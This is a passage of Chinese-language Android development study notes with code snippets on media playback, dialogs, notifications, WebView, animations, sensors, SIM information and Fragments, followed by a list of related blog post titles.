if (mediaPlayer != null &&mediaPlayer.isPlaying()) {
mediaPlayer.stop();
mediaPlayer.release();//释放资源
mediaPlayer=null;
}
}
private void replay() {
if (mediaPlayer != null &&mediaPlayer.isPlaying()) {
mediaPlayer.seekTo(0);
mediaPlayer.start();
}
}
private void pause() {
if ("继续".equals(bt_pause.getText().toString().trim())) {
mediaPlayer.start();
bt_pause.setText("暂停");
return;
}
if (mediaPlayer != null &&mediaPlayer.isPlaying()) {
mediaPlayer.pause();
bt_pause.setText("继续");
}
}
private void play() {
String path =et.getText().toString().trim();
File file = new File(path);
if (file != null &&file.length() > 0) {
try {
if (mediaPlayer ==null) {
mediaPlayer =new MediaPlayer();
mediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);//设置音频流的类型
//播放视频时添加的-start
final SurfaceHoldersurfaceHolder = sv.getHolder();
surfaceHolder.addCallback(newCallback() {
public voidsurfaceDestroyed(SurfaceHolder holder) {
System.out.println("surfaceDestroyed()");
if(mediaPlayer != null && mediaPlayer.isPlaying()) {
mediaPlayer.pause();
currentPosition= mediaPlayer.getCurrentPosition();
}
}
public voidsurfaceCreated(SurfaceHolder holder) {
// 设置影片以SurfaceView播放
mediaPlayer.setDisplay(surfaceHolder);
if (currentPosition> 0) {
continuePlay(currentPosition);
}
System.out.println("surfaceCreated()");
}
public voidsurfaceChanged(SurfaceHolder holder,
intformat, int width, int height) {
System.out.println("surfaceChanged");
if(mediaPlayer != null) {
currentPosition= mediaPlayer.getCurrentPosition();
}
}
});
//播放视频时添加的--end
mediaPlayer.setDataSource(path);//音频文件源
mediaPlayer.prepare();//通知系统准备
mediaPlayer.start();
}
} catch (Exception e) {
Toast.makeText(this,"播放失败", 0).show();
e.printStackTrace();
}
} else {
Toast.makeText(this, "找不到指定的文件", 0).show();
}
}
}
----------------------------------------------------------------------------------
45 SoundPool 类:声音池
用于游戏播放音乐 播一些短的反应速度要求高的声音 可同时播放多个音效
SoundPool载入音乐文件使用了独立的线程,不会阻塞UI主线程的操作。
但是这里如果音效文件过大没有载入完成,我们调用play方法时可能产生严重的后果,
这里Android SDK提供了一个SoundPool.OnLoadCompleteListener类来帮助我们了解媒体文件是否载入完成,
我们重载 onLoadComplete(SoundPool soundPool, intsampleId, int status) 方法即可获得
public classMainActivity extends Activity {
private SoundPool soundPool;
private int sounId;
protected void onCreate(BundlesavedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//
soundPool=new SoundPool(5,AudioManager.STREAM_MUSIC, 0);
//加载音乐
sounId=soundPool.load(this,R.raw.aa, 1);
}
public void play(View view) {
//播放音乐
soundPool.play(sounId, 1.0f, 1.0f,2, 0, 1.0f);
}
}
----------------------------------------------------------------------------------
46 打开系统照相机介面
Intent intent=enw Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addCategory("android.intent.category.DEFAULT");
File file=newFile("/sdcard/image.jpg");
Uri uri=Uri.fromFile(file);
intent.putExtra(MediaStore.EXTRA_OUTPUT,uri);
startActivity(intent);
打开系统录像机介面
Intent intent=enw Intent();
intent.setAction("android.media.action.VIDEO_CAPTURE");
intent.addCategory("android.intent.category.DEFAULT");
File file=newFile("/sdcard/video.mp4");
Uri uri=Uri.fromFile(file);
intent.putExtra(MediaStore.EXTRA_OUTPUT,uri);
startActivity(intent);
-------------------------------------------------------------------------------------------------------------------------
47 通知对话框
AlertDialog.Builder builder = newBuilder(this);
builder.setIcon(R.drawable.ic_launcher);//设置一个图标
builder.setTitle("通知");
builder.setMessage("你确定吗");
builder.setCancelable(false); // 设置不能通过“后退”按钮关闭对话框
// 添加取消按钮
builder.setNegativeButton("取消", new OnClickListener() {
public voidonClick(DialogInterface dialog, int which) {
dialog.dismiss();//关闭对话框
}
});
// 添加确定按钮
builder.setPositiveButton("确定", new OnClickListener() {
public voidonClick(DialogInterface dialog, int which) {
Toast.makeText(MainActivity.this,"点击确定", 0).show();
dialog.dismiss();//关闭对话框
}
});
/*
* AlertDialog dialog=builder.create();
* dialog.show();
*/
builder.show();
// 链式调用
/*
* new AlertDialog.Builder(this)//.setTitle("")// .setMessage("")//
* .setNegativeButton("", newOnClickListener() { public void
* onClick(DialogInterface dialog, int which) {
*
* } })// .setPositiveButton("", newOnClickListener() { public void
* onClick(DialogInterface dialog, int which) {
*
* } })// .show();
*/
48 列表的对话框
public void click2(View view) {
AlertDialog.Builder builder = newBuilder(this);
builder.setTitle("选择语言");
builder.setCancelable(false); // 设置不能通过“后退”按钮关闭对话框
final String[] items = newString[] { "C", "C#", "java" };
builder.setItems(items, newOnClickListener() {
public voidonClick(DialogInterface dialog, int which) {
Toast.makeText(MainActivity.this,items[which], 0).show();
}
});
builder.show();
}
49 单选项列表的对话框
AlertDialog.Builder builder = newBuilder(this);
builder.setTitle("选择语言");
builder.setCancelable(false); // 设置不能通过“后退”按钮关闭对话框
final String[] items = newString[] { "C", "C#", "java" };
builder.setSingleChoiceItems(items,0, new OnClickListener() {
public voidonClick(DialogInterface dialog, int which) {
Toast.makeText(MainActivity.this,items[which], 0).show();
dialog.dismiss();// 关闭当前对话框
}
});
builder.setNegativeButton("取消", new OnClickListener() {
public voidonClick(DialogInterface dialog, int which) {
}
});
builder.show();
50 多选项列表的对话框
AlertDialog.Builder builder = new Builder(this);
builder.setTitle("选择语言");
builder.setCancelable(false); // 设置不能通过“后退”按钮关闭对话框
final String[] items = newString[] { "C", "C#", "java" };
builder.setMultiChoiceItems(items,
new boolean[] {false, true, false },
new OnMultiChoiceClickListener(){
public voidonClick(DialogInterface dialog, int which,
booleanisChecked) {
Toast.makeText(MainActivity.this,
items[which]+ "is" + isChecked, 0).show();
}
});
builder.setPositiveButton("保存", new OnClickListener() {
public voidonClick(DialogInterface dialog, int which) {
Toast.makeText(MainActivity.this,"已经保存", 0).show();
}
});
builder.show();
51 进度的对话框
final ProgressDialog dialog = newProgressDialog(this);
dialog.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL);//横向进度条风格,默认是圆圈转动
dialog.setTitle("请稍后");
dialog.setMessage("正在后台处理...");
dialog.setMax(100);
dialog.show();
new Thread() {
public void run() {
for (int i = 0; i<= 100; i++) {
dialog.setProgress(i);
try {
Thread.sleep(20);
} catch(InterruptedException e) {
e.printStackTrace();
}
}
};
}.start();
-------------------------------------------------------------------------------------------------------------------------
52 系统通知栏
Notification.Builder类
NotificationManager类
//得到通知管理器
NotificationManager manager =(NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
/*
* 2.3以下的Notification notification=new
* Notification(R.drawable.ic_launcher,"",
* java.lang.System.currentTimeMillis());Intent intent=new Intent();
* intent.setAction(Intent.ACTION_CALL);
*intent.setData(Uri.parse("tel:110")); PendingIntent
* contentIntent=PendingIntent.getActivity(this,0, intent, 0);
* notification.setLatestEventInfo(this, "标题", "内容",contentIntent);
*/
/* 4.0以上 */
Notification.Builder builder = newBuilder(this)
.setContentTitle("标题")
.setContentText("内容")
.setSmallIcon(R.drawable.ic)
.setLargeIcon(
BitmapFactory.decodeResource(getResources(),
R.drawable.ic_launcher));
//准备
Intent intent = new Intent();
intent.setAction(Intent.ACTION_CALL);
intent.setData(Uri.parse("tel:110"));
PendingIntent pendingIntent = PendingIntent.getActivity(this,0,intent, 0);
// 设置点击通知后打开的介面
builder.setContentIntent(pendingIntent);
Notification notification =builder.build();
notification.defaults =notification.DEFAULT_ALL;// 设置提示灯,振动,播放声音默认
notification.flags = Notification.FLAG_AUTO_CANCEL;//FLAG_AUTO_CANCEL用户点后关闭
// FLAG_INSISTENT关不掉
// notification.ledARGB 提示灯
// notification.vibrate 振动
// notification.sound 播放的声音
manager.notify(0, notification);//通知管理器将通知通知出去
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
2015/4/8
53 WebView(网络视图) 能加载显示网页
String url="www.baidu.com";
WebView webView = new WebView(this);
//webView.loadUrl("http://www.google.com");//打开网页
//设置WebView属性,能够执行Javascript脚本
webview.getSettings().setJavaScriptEnabled(true);
//这样才不会调用系统浏览器打开
webView.setWebViewClient(new WebViewClient()
{
public booleanshouldOverrideUrlLoading(WebView view, String url)
{
view.loadUrl(url);
return true;
}
});
webView.loadUrl(url);
//设置回退
//覆盖Activity类的onKeyDown(intkeyCoder,KeyEvent event)方法
public boolean onKeyDown(int keyCode, KeyEvent event) {
if ((keyCode ==KeyEvent.KEYCODE_BACK) && webview.canGoBack()) {
webview.goBack(); //goBack()表示返回WebView的上一页面
return true;
}
return false;
}
-------------------------------------------------------------------------------------------------------------------------
54 帧动画
1:把准备好的图片放进项目res/drawable下
2:在项目的res目录下创建文件夹anim,然后在anim文件夹下面新建Drawable类型根元素为animation-list的XML文件,文件名称可以自定义
<?xml version="1.0"encoding="utf-8"?>
<animation-listxmlns:android="http://schemas.android.com/apk/res/android" android:oneshot="false">
<item
android:drawable="@drawable/girl_1"
android:duration="200"/>
<item
android:drawable="@drawable/girl_2"
android:duration="200"/>
</animation-list>
3:编码
public class MainActivity extendsActivity {
private ImageView iv;
private AnimationDrawable anim;
protected void onCreate(BundlesavedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
iv = (ImageView)findViewById(R.id.iv);
iv.setBackgroundResource(R.drawable.girl);
anim = (AnimationDrawable)iv.getBackground();
}
public void click(View view) {
anim.start();
}
}
55 补单动画 (包括平移、缩放、旋转、改变透明度
编码的方式:
private ImageView iv;//先在布局文件中设置好显示的图片
所有动画都是一样的:
//LinearInterpolator匀速 ,Accelerateinterpolator为加速效果、DecelerateInterpolator为减速效果
LinearInterpolatorlin = new LinearInterpolator();
animation.setInterpolator(lin);//interpolator表示变化率,但不是运行速度
55.1 AlphaAnimation类:透明度变化的动画效果
AlphaAnimation aa = newAlphaAnimation(0.0f, 1.0f);
aa.setDuration(2000);//时间间隔
aa.setRepeatCount(3);// 最终执行四次
aa.setRepeatMode(Animation.REVERSE);//重播方式
iv.startAnimation(aa);//让这个动画在iv上生效
55.2 ScaleAnimation类:缩放动画
//左上角
ScaleAnimationsa = new ScaleAnimation(0.0f, 2.0f, 0.0f, 2.0f,Animation.RELATIVE_TO_SELF,0.5f, Animation.RELATIVE_TO_SELF,0.5f);
sa.setDuration(2000);
sa.setRepeatCount(2);// 最终执行2次
sa.setRepeatMode(Animation.REVERSE);
sa.setFillAfter(true);
iv.startAnimation(aa);//让这个动画在iv上生效
55.3 RotateAnimation类:旋转动画
RotateAnimation ra = newRotateAnimation(0, 360,
Animation.RELATIVE_TO_SELF,0.5f, Animation.RELATIVE_TO_SELF,0.5f);
ra.setDuration(1000);// 一次动画的持续时间
ra.setRepeatCount(Animation.INFINITE);//重复模式:无限重复
LinearInterpolator lin = newLinearInterpolator();//匀速
//Accelerateinterpolator为加速效果、DecelerateInterpolator为减速效果
ra.setInterpolator(lin);//interpolator表示变化率,但不是运行速度
iv.startAnimation(ra);
55.4 TranslateAnimation类:平移动画
TranslateAnimation ta = newTranslateAnimation(
Animation.RELATIVE_TO_PARENT,0.0f,
Animation.RELATIVE_TO_PARENT,1.0f,
Animation.RELATIVE_TO_PARENT,0.0f,
Animation.RELATIVE_TO_PARENT,1.0f);
ta.setDuration(3000);
iv.startAnimation(ta);
55.5 AnimationSet类:动画集合
RotateAnimation ra = newRotateAnimation(0, 360,
Animation.RELATIVE_TO_SELF,0.5f, Animation.RELATIVE_TO_SELF,0.5f);
ra.setDuration(2000);
ScaleAnimation sa = newScaleAnimation(0.0f, 2.0f, 0.0f, 2.0f,
Animation.RELATIVE_TO_SELF,0.5f, Animation.RELATIVE_TO_SELF,0.5f);
sa.setDuration(2000);
AnimationSet set = newAnimationSet(false);
set.addAnimation(ra);
set.addAnimation(sa);
iv.startAnimation(set);
56 xml文件的方式生成动画:
使用Animation anim=AnimationUtils.loadAnimation(this, R.anim.set);加载xml动画文件得到动画对象
1:在项目的res目录下创建文件夹anim,然后在anim文件夹下面新建TweenAnimation类型根元素为(alpha,rotate,scale,translate,set)的XML文件,文件名称可以自定义
android:duration="2000"//用时
android:repeatCount="7"//重复次数
android:interpolator="@anim/cycles_7" //循环器 />
android:interpolator="@android:anim/cycle_interpolator" //系统内置的运动轨迹sin, cos,tan
56.1 alpha:透明度变化
<?xml version="1.0"encoding="utf-8"?>
<alphaxmlns:android="http://schemas.android.com/apk/res/android"
android:fromAlpha="0.0"
android:toAlpha="1.0"
android:duration="2000"
android:startOffset="500"
>
</alpha>
56.2 rotate:旋转
<rotatexmlns:android="http://schemas.android.com/apk/res/android"
android:fromDegrees="0"
android:toDegrees="360"
android:pivotX="50%"
android:pivotY="50%"
android:duration="2000">
</rotate>
56.3 scale:缩放
<scalexmlns:android="http://schemas.android.com/apk/res/android"
android:fromXScale="0.2"
android:toXScale="1.0"
android:fromYScale="0.2"
android:toYScale="1.0"
android:pivotX="50%"
android:pivotY="50%p"
android:duration="2000">
</scale>
56.4 translate:平移
<translatexmlns:android="http://schemas.android.com/apk/res/android"
android:fromXDelta="0.0"
android:toXDelta="100%p"
android:fromYDelta="0.0"
android:toYDelta="100%p"
android:duration="2000" //用时
android:repeatCount="7"//重复次数
android:interpolator="@anim/cycles_7" //循环器 />
android:interpolator="@android:anim/cycle_interpolator" //系统内置的运动轨迹sin, cos,tan
</translate>
56.5 set:集合
<setxmlns:android="http://schemas.android.com/apk/res/android" >
<rotate
xmlns:android="http://schemas.android.com/apk/res/android"
android:duration="2000"
android:fromDegrees="0"
android:pivotX="50%"
android:pivotY="50%"
android:toDegrees="360">
</rotate>
<scale
xmlns:android="http://schemas.android.com/apk/res/android"
android:duration="2000"
android:fromXScale="0.2"
android:fromYScale="0.2"
android:pivotX="50%"
android:pivotY="50%p"
android:toXScale="1.0"
android:toYScale="1.0">
</scale>
</set>
2:编码,将一个动画的xml文件加载成一具动画对象
Animation anim=AnimationUtils.loadAnimation(this, R.anim.set)
iv.startAnimation(set);
-------------------------------------------------------------------------------------------------------------------------
57 手机感应器:
Android4.0系统内置对传感器的支持达13种,它们分别是:
加速度传感器(accelerometer)、
磁力传感器(magneticfield)、
方向传感器(orientation)、
陀螺仪(gyroscope)、
环境光照传感器(light)、
压力传感器(pressure)、
温度传感器(temperature)
距离传感器(proximity)
sensor 类:系统传感器
sensorManager类:管理传感器
SensorEvent类:传感器事件
Sensor.TYPE_ACCELEROMETER:加速度感应器
Sensor.TYPE_MAGNETIC_FIELD:地磁感应器
Sensor.TYPE_ORIENTATION:方向感应器
Sensor.TYPE_GYROSCOPE:陀螺仪感应器
Sensor.TYPE_LIGHT:亮度感应器
Sensor.TYPE_PRESSURE:压力感应器
Sensor.TYPE_TEMPERATURE:温度感应器
Sensor.TYPE_PROXIMITY:距离感应器
1:从传感器服务中获取到指定类型的传感器
2:使用传感器服务添加传感器的监听器
3:在使用完之后,注销传感器的监听器
加速度(重力)传感器和方向传感器的测量值:
public class MainActivityextends Activity {
private TextView accelerometer;//加速度感应器显示文本
private TextView orientation;//方向传感器显示文本
private SensorManager sensorManager;
public void onCreate(BundlesavedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
//获取感应器管理器
sensorManager = (SensorManager)getSystemService(SENSOR_SERVICE);
accelerometer = (TextView)findViewById(R.id.accelerometer);
orientation = (TextView)findViewById(R.id.orientation);
}
protected void onResume() {
super.onResume();
//感应器类型
Sensor sensor =sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);//获取重力加速度传感器
sensorManager.registerListener(listener,sensor, SensorManager.SENSOR_DELAY_GAME); //注册事件监听器
//1:获得传感器
Sensorsensor1 = sensorManager.getDefaultSensor(Sensor.TYPE_ORIENTATION);//获取方向传感器
//2:注册事件监听器
sensorManager.registerListener(listener,sensor1, SensorManager.SENSOR_DELAY_GAME);
}
protected void onPause() {
super.onPause();
//3:注销事件
sensorManager.unregisterListener(listener);//注消所有传感器监听
}
private SensorEventListener listener =new SensorEventListener() {
public voidonSensorChanged(SensorEvent event) {//当传感器的值发生变化
//event.values;返回的是传感器的数据,每种传感器的数据是不同的,每位代表什么查看相应的api
float x =event.values[SensorManager.DATA_X];
floaty = event.values[SensorManager.DATA_Y];
float z =event.values[SensorManager.DATA_Z];
switch(event.sensor.getType()) {
case Sensor.TYPE_ACCELEROMETER://如果是加速度感应器
accelerometer.setText("AccelerometerSensor: " + x + ", " + y + ", " + z);
break;
caseSensor.TYPE_ORIENTATION://如果是方向感应器
/*x该值表示方位,0代表北(North);90代表东(East);180代表南(South);270代表西(West)如果x值正好是这4个值之一,并且手机是水平放置,手机的顶部对准的方向就是该值代表的方向。
y值表示倾斜度,或手机翘起的程度。当手机绕着X轴倾斜时该值发生变化。y值的取值范围是-180≤y值≤180。假设将手机屏幕朝上水平放在桌子上,这时如果桌子是完全水平的,y值应该是0(由于很少有桌子是绝对水平的,因此,该值很可能不为0,但一般都是-5和5之间的某个值)。这时从手机顶部开始抬起,直到将手机沿X轴旋转180度(屏幕向下水平放在桌面上)。在这个旋转过程中,y值会在0到-180之间变化,也就是说,从手机顶部抬起时,y的值会逐渐变小,直到等于-180。如果从手机底部开始抬起,直到将手机沿X轴旋转180度,这时y值会在0到180之间变化。也就是y值会逐渐增大,直到等于180。可以利用y值和z值来测量桌子等物体的倾斜度。
z值表示手机沿着Y轴的滚动角度。表示手机沿着Y轴的滚动角度。取值范围是-90≤z值≤90。假设将手机屏幕朝上水平放在桌面上,这时如果桌面是平的,z值应为0。将手机左侧逐渐抬起时,z值逐渐变小,直到手机垂直于桌面放置,这时z值是-90。将手机右侧逐渐抬起时,z值逐渐增大,直到手机垂直于桌面放置,这时z值是90。在垂直位置时继续向右或向左滚动,z值会继续在-90至90之间变化。
*/
orientation.setText("OrientationSensor: " + x + ", " + y + ", " + z);
break;
}
}
public voidonAccuracyChanged(Sensor sensor, int accuracy) {//当传感器的精度变化时
}
};
}
-------------------------------------------------------------------------------------------------------------------------
57.1 关闭应用后台进程:
当应用不再使用时,通常需要关闭应用,可以使用以下两种方法关闭android应用:
第一种方法:首先获取当前进程的id,然后杀死该进程,只能杀死自己 (建议使用)
android.os.Process.killProcess(android.os.Process.myPid())
第二种方法:终止当前正在运行的Java虚拟机,导致程序终止(不建议使用)
System.exit(0);
第三种方法:强制关闭与该包有关联的一切执行,只能杀死别人
ActivityManagermanager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
manager.killBackgroundProcess(getPackageName());//传入要杀死程序的包名.
<uses-permissionandroid:name="android.permission.KILL_BACKGROUND_PROCESSES"/>//需要的权限
-------------------------------------------------------------------------------------------------------------------------
58 SIM卡:
58.1 获取手机的IMSI码,并判断是中国移动\中国联通\中国电信
TelephonyManager telManager =(TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
/** 获取SIM卡的IMSI码SIM卡唯一标识:IMSI 国际移动用户识别码(IMSI:International Mobile SubscriberIdentification Number)是区别移动用户的标志,储存在SIM卡中,可用于区别移动用户的有效信息。IMSI由MCC、MNC、MSIN组成,其中MCC为移动国家号码,由3位数字组成,唯一地识别移动客户所属的国家,我国为460;MNC为网络id,由2位数字组成,
用于识别移动客户所归属的移动网络,中国移动为00,中国联通为01,中国电信为03;MSIN为移动客户识别码,采用等长11位数字构成。
唯一地识别国内GSM移动通信网中移动客户。所以要区分是移动还是联通,只需取得SIM卡中的MNC字段即可
*/
String imsi =telManager.getSubscriberId();
if(imsi!=null){
if(imsi.startsWith("46000")|| imsi.startsWith("46002")){//因为移动网络编号46000下的IMSI已经用完,所以虚拟了一个46002编号,134/159号段使用了此编号
//中国移动
}elseif(imsi.startsWith("46001")){
//中国联通
}elseif(imsi.startsWith("46003")){
//中国电信
}
}
第二种方法
TelephonyManager telManager =(TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
String operator =telManager.getSimOperator();
if(operator!=null){
if(operator.equals("46000")|| operator.equals("46002")){
//中国移动
}else if(operator.equals("46001")){
//中国联通
}elseif(operator.equals("46003")){
//中国电信
}
}
--------------------------------------
58.2 获得SIM中的联系人信息:
Uri uri =Uri.parse("content://icc/adn");
String[] projection = {"_id","name", "number"};
//过时Cursorcursor = managedQuery(uri, projection, null, null, "name");
Cursor cursor =getContentResolver().query(uri, projection, null, null, "name");
if(cursor!=null){
while(cursor.moveToNext()){
String name = cursor.getString(cursor.getColumnIndex("name"));
String phone =cursor.getString(cursor.getColumnIndex("number"));
}
}
在文件AndroidManifest.xml中添加权限
<uses-permissionandroid:name="android.permission.READ_PHONE_STATE"/>
-------------------------------------------------------------------------------------------------------------------------
59 在应用里面安装其它应用:
查看源码应用PackageInstaller里面的清单文件
Intent intent =new Intent();
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setAction(android.content.Intent.ACTION_VIEW);
Stringpath="apk路径";
intent.setDataAndType(Uri.fromFile(path),"application/vnd.android.package-archive");
startActivity(intent);
<!-- 安装程序权限 -->
<uses-permissionandroid:name="android.permission.INSTALL_PACKAGES"/>
-------------------------------------------------------------------------------------------------------------------------
60 Fragment 分帧布局样式
Android是在Android3.0 (API level 11)开始引入Fragment的。
可以把Fragment想成Activity中的模块,这个模块有自己的布局,有自己的生命周期,单独处理自己的输入,
在Activity运行的时候可以加载或者移除Fragment模块。
可以把Fragment设计成可以在多个Activity中复用的模块。
当开发的应用程序同时适用于平板电脑和手机时,可以利用Fragment实现灵活的布局,改善用户体验。
Fragment的生命周期
因为Fragment必须嵌入在Acitivity中使用,所以Fragment的生命周期和它所在的Activity是密切相关的。
如果Activity是暂停状态,其中所有的Fragment都是暂停状态;如果Activity是stopped状态,这个Activity中所有的Fragment都不能被启动;
如果Activity被销毁,那么它其中的所有Fragment都会被销毁。
但是,当Activity在活动状态,可以独立控制Fragment的状态,比如加上或者移除Fragment。
当这样进行fragment transaction(转换)的时候,可以把fragment放入Activity的back stack中
Fragment类要继续Fragment
public class Framgent1extends Fragment {
@Override
public View onCreateView(LayoutInflaterinflater, ViewGroup container,
Bundle savedInstanceState){
super.onCreateView(inflater,container, savedInstanceState);
Viewview=inflater.inflate(R.layout.fragment1, container, false);
//view.findViewById();
return view;//将想要在这个块显示的布局文件加载进来
}
}
实现常用的的三个回调函数
onCreate()
系统在创建Fragment的时候调用这个方法,这里应该初始化相关的组件,一些即便是被暂停或者被停止时依然需要保留的东西。
onCreateView()
public static class ExampleFragmentextends Fragment
{
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
BundlesavedInstanceState)
{
// Inflate the layout for thisfragment
returninflater.inflate(R.layout.example_fragment, container, false);
//inflate()方法的三个参数:
// 第一个是resourceID,指明了当前的Fragment对应的资源文件;
// 第二个参数是父容器控件;
//第三个布尔值参数表明是否连接该布局和其父容器控件,在这里的情况设置为false,
//因为系统已经插入了这个布局到父控件,设置为true将会产生多余的一个ViewGroup。
}
}
当第一次绘制Fragment的UI时系统调用这个方法,必须返回一个View,如果Fragment不提供UI也可以返回null。
注意,如果继承自ListFragment,onCreateView()默认的实现会返回一个ListView,所以不用自己实现。
onPause()
当用户离开Fragment时第一个调用这个方法,需要提交一些变化,因为用户很可能不再返回来。
通过Activity的布局文件将Fragment加入Activity
在Activity的布局文件中,将Fragment作为一个子标签加入即可。
<?xml version="1.0"encoding="utf-8"?>
<LinearLayoutxmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="horizontal"
android:layout_width="match_parent"
android:layout_height="match_parent">
<fragment android:name="com.zhong.Fragment1"//想要加载来这里显示的fragment的全名
android:id="@+id/list"
android:layout_weight="1"
android:layout_width="0dp"
android:layout_height="match_parent" />
<fragment android:name="com.zhong.Fragment2"
android:id="@+id/viewer"
android:layout_weight="2"
android:layout_width="0dp"
android:layout_height="match_parent" />
</LinearLayout>
通过编程的方式将Fragment加入到一个ViewGroup中
FragmentManager fragmentManager =getFragmentManager()
FragmentTransaction fragmentTransaction =fragmentManager.beginTransaction();
//fragmentTransaction.add(R.id.fragment_container,new Fragment1());
fragmentTransaction.replace(android.R.id.content,new Fragment1());
Fragment1f1=fragmentManager.finFragmentById(R.id.fm1)
fragmentTransaction.commit();
60.1 两个fragment通讯:
在fragment里是不能直接获得其它frament的,我们可以getActivity().getFragmentManager().finFragmentById(R.id.fm1);
获得其它frament对象,然后调用其方法
Fragment1f1=getActivity().getFragmentManager().finFragmentById(R.id.fm1);
f1.setButunText("XXXXX");
----------------------------------------------------------------------------------------------------------------------
android基础笔记相关推荐
- 【Android基础笔记01】Android开发环境搭建和HelloWorld
最近手头项目3.0版本要上线了, 没有那么多工作压力了, 抽空看了看之前在云笔记上做的笔记 都是一些基础知识 给大家分享出来吧 一.什么是Android?[了解 ] Android(中文俗称安卓)是一 ...
- Android基础笔记(十七)- 多媒体编程
MediaPlayer播放音频的基本使用 音乐播放器的完善 视频播放SurfaceView 视频播放VideoView vitamio框架 如何调用照相机和录像机 MediaPlayer播放音频的基本 ...
- android基础笔记1
1. 在模拟器中安装apk文件: G:\work\android-sdk-windows\platform-tools里有个adb.exe工具 Adb install G:\work\Cr ...
- Android学习笔记:Android基础知识点(不断更新中)
1.Android学习笔记:OkHttp 2.Android学习笔记:更新UI的方法(UI线程和非UI线程) 3.Android学习笔记:Volley 4.Android学习笔记:Handler 5. ...
- 2022 最新 Android 基础教程,从开发入门到项目实战【b站动脑学院】学习笔记——第三章:简单控件
第 3 章 简单控件 本章介绍了App开发常见的几类简单控件的用法,主要包括:显示文字的文本视图.容纳视图的常用布局.响应点击的按钮控件.显示图片的图像视图等.然后结合本章所学的知识,演示了一个实战项 ...
- 2022 最新 Android 基础教程,从开发入门到项目实战【b站动脑学院】学习笔记——第六章:数据存储
第 6 章 数据存储 本章介绍Android 4种存储方式的用法,包括共享参数SharedPreferences.数据库SQLite.存储卡文 件.App的全局内存,另外介绍Android重要组件-应 ...
- 2022 最新 Android 基础教程,从开发入门到项目实战【b站动脑学院】学习笔记——第五章:中级控件
第 5 章 中级控件 本章介绍App开发常见的几类中级控件的用法,主要包括:如何定制几种简单的图形.如何使用几种选择按钮.如何高效地输入文本.如何利用对话框获取交互信息等,然后结合本章所学的知识,演示 ...
- Android开发笔记(三十二)文件基础操作
File类 File类是java中的文件操作工具类,它的常用方法如下: File构造函数 : 根据文件路径构造File对象 delete : 删除文件 exists : 判断文件是否存在 getNam ...
- Android开发笔记(三十)SQLite数据库基础操作
SQLite语法 SQLite是一个小巧的嵌入式数据库,使用方便.开发简单,手机上最早由ios运用,后来android兴起同样也采用了sqlite.sqlite的多数sql语法与oracle是一样的, ...
最新文章
- 买卖股票的最佳时机 II
- 使用Kotlin对ViewGroup的视图进行函数使操作
- python 文字语音朗读-python 利用pyttsx3文字转语音
- Python 技巧篇-如何避免python报错导致强制关闭窗口
- ASP.NET MVC涉及到的5个同步与异步,你是否傻傻分不清楚?[下篇]
- ERP实施实记(六)之生管课
- LINQ中ForEach方法的使用
- 便携式不锈钢管道焊接机器人_为什么越来越多的不锈钢管件用不锈钢焊管制作...
- python编写脚本方法_python 定时器,实现每天凌晨3点执行的方法
- java switch语句与switch表达式区别及使用
- 非功能性需求_更好的开卡,来聊聊非功能性需求
- 数据结构学习(一)数组
- 在c语言中以下程序的动能,c语言超星尔雅期末测试答案
- Dlink DIR-615L 和水星(mercury) MW300R桥接方法!
- 微信封号开启秋后算账模式
- 提升深度学习模型的表现,你需要这20个技巧
- NVIDIA 为微软 Xbox One 游戏机发布 PhysX 支持
- 什么是「逼格」?怎么才能提高「逼格」?
- wifi搜索不到连接不上的问题(企业局域网wifi)
- Raspbian镜像无头烧录